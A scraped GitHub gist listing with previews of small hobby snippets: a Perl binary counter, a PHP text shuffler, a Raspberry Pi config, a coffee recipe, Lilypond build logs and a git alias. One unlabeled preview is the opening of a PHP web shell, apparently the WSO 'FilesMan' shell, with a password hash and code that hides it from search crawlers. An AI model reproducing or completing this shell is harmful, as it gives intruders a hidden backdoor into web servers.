Skip to content

Instantly share code, notes, and snippets.

View captbaritone's full-sized avatar
💭
-=[ Dorkin' Out ]=-

Jordan Eldredge captbaritone

💭
-=[ Dorkin' Out ]=-
View GitHub Profile
@captbaritone
captbaritone / binary.pl
Created November 17, 2012 03:33
Count binary in Perl
#!/usr/bin/env perl
# Counts in binary
# The array of digets, starting with the least significant
@binary = (0);
while(@binary < 79){
$i = 0;
$found = 0;
# Until we find a 0
@captbaritone
captbaritone / shuffle.php
Created November 17, 2012 03:29
Only the first and last letters
<?=preg_replace_callback("/(?<=[a-zA-Z])([a-zA-Z]+)(?=[a-zA-Z])/", create_function('$n', 'return str_shuffle($n[1]);'), $_POST['text'])?>
@captbaritone
captbaritone / config.txt
Created April 7, 2013 03:51
Config for that allows my Rasberry Pi to work
# uncomment if you get no picture on HDMI for a default "safe" mode
#hdmi_safe=1
# uncomment this if your display has a black border of unused pixels visible
# and your display can output without overscan
disable_overscan=0
disable_overscan=0
# uncomment the following to adjust overscan. Use positive numbers if console
# goes off screen, and negative if there is too much border
@captbaritone
captbaritone / cold_brew_coffee.md
Last active December 16, 2015 21:19
Cold Brew Coffee Recipe

Cold Brew Coffee Recipe

Inspired by the instructions in Cory Doctrow's Homeland and then tweaked to fit my tastes.

Ingrediants

  • Peet's Major Dickason's Blend - Decaf: Have them grind it for a "flat bottom filter"
  • Simple syrup: Equal parts water a sugar, heat in small pan mixing until disolved
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {

What is LilypondHub?

Inspired by the great possibilities at the intersection of GitHub and Lilypond, and frustrated by the fractured nature of the Lilypond community, we decided to start an index of all known Lilypond music on Github.

To begin with, we are simply collecting any repository that contains Lilypond typeset music. The next phase will be to form a complete searchable index.

doing [out/openbook.ly]
Traceback (most recent call last):
File "scripts/mako_book.py", line 4, in <module>
import mako.template
ImportError: No module named mako.template
make: *** [out/openbook.ly] Error 1
# pip install mako
Downloading/unpacking mako
Downloading Mako-0.8.1.tar.gz (407kB): 407kB downloaded
Running setup.py egg_info for package mako
warning: no files found matching '*.xml' under directory 'examples'
warning: no files found matching '*.mako' under directory 'examples'
warning: no files found matching 'ez_setup.py'
no previously-included directories found matching 'doc/build/output'
Requirement already satisfied (use --upgrade to upgrade): MarkupSafe>=0.9.2 in /usr/local/lib/python2.7/site-packages (from mako)
doing [out/openbook.ly]
doing [out/openbook.ps]
Traceback (most recent call last):
File "scripts/lilypond_wrapper.py", line 43, in <module>
system_check_output(args)
File "scripts/lilypond_wrapper.py", line 14, in system_check_output
pr=subprocess.Popen(args,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
File "/usr/lib/python2.7/subprocess.py", line 679, in __init__
errread, errwrite)
File "/usr/lib/python2.7/subprocess.py", line 1249, in _execute_child
[alias]
ship = "!gitmergeto() { export tmp_branch=`git branch | grep '* ' | tr -d '* '` && git checkout master && git merge $tmp_branch && git push; unset tmp_branch; }; gitmergeto"